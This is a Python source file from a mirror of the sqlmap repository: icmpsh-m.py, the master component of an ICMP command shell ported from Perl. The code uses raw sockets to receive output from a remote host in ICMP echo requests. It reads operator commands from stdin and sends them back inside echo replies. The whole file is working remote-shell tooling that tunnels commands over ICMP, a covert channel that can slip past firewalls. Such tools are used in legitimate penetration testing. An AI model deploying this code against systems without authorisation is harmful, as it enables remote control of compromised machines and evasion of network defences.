mirror of
https://github.com/sqlmapproject/sqlmap.git
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143 lines
4.5 KiB
Python
143 lines
4.5 KiB
Python
#!/usr/bin/env python
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#
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# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
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# Perl by Nico Leidecker <nico@leidecker.info>)
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#
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# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
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#
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import os
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import select
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import socket
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import subprocess
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import sys
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def setNonBlocking(fd):
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"""
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Make a file descriptor non-blocking
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"""
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import fcntl
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flags = fcntl.fcntl(fd, fcntl.F_GETFL)
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flags = flags | os.O_NONBLOCK
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fcntl.fcntl(fd, fcntl.F_SETFL, flags)
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def main(src, dst):
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if subprocess.mswindows:
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sys.stderr.write('icmpsh master can only run on Posix systems\n')
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sys.exit(255)
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try:
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from impacket import ImpactDecoder
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from impacket import ImpactPacket
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except ImportError:
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sys.stderr.write('You need to install Python Impacket library first\n')
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sys.exit(255)
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# Make standard input a non-blocking file
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stdin_fd = sys.stdin.fileno()
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setNonBlocking(stdin_fd)
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# Open one socket for ICMP protocol
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# A special option is set on the socket so that IP headers are included
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# with the returned data
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try:
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sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
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except socket.error:
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sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
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sys.exit(1)
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sock.setblocking(0)
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sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
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# Create a new IP packet and set its source and destination addresses
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ip = ImpactPacket.IP()
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ip.set_ip_src(src)
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ip.set_ip_dst(dst)
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# Create a new ICMP packet of type ECHO REPLY
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icmp = ImpactPacket.ICMP()
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icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
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# Instantiate an IP packets decoder
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decoder = ImpactDecoder.IPDecoder()
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while True:
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cmd = ''
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# Wait for incoming replies
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if sock in select.select([sock], [], [])[0]:
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buff = sock.recv(4096)
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if 0 == len(buff):
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# Socket remotely closed
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sock.close()
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sys.exit(0)
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# Packet received; decode and display it
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ippacket = decoder.decode(buff)
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icmppacket = ippacket.child()
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# If the packet matches, report it to the user
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if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
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# Get identifier and sequence number
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ident = icmppacket.get_icmp_id()
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seq_id = icmppacket.get_icmp_seq()
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data = icmppacket.get_data_as_string()
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if len(data) > 0:
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sys.stdout.write(data)
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# Parse command from standard input
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try:
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cmd = sys.stdin.readline()
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except:
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pass
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if cmd == 'exit\n':
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return
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# Set sequence number and identifier
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icmp.set_icmp_id(ident)
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icmp.set_icmp_seq(seq_id)
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# Include the command as data inside the ICMP packet
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icmp.contains(ImpactPacket.Data(cmd))
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# Calculate its checksum
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icmp.set_icmp_cksum(0)
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icmp.auto_checksum = 1
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# Have the IP packet contain the ICMP packet (along with its payload)
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ip.contains(icmp)
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try:
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# Send it to the target host
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sock.sendto(ip.get_packet(), (dst, 0))
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except socket.error as ex:
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sys.stderr.write("'%s'\n" % ex)
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sys.stderr.flush()
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if __name__ == '__main__':
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if len(sys.argv) < 3:
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msg = 'missing mandatory options. Execute as root:\n'
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msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
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sys.stderr.write(msg)
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sys.exit(1)
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main(sys.argv[1], sys.argv[2])
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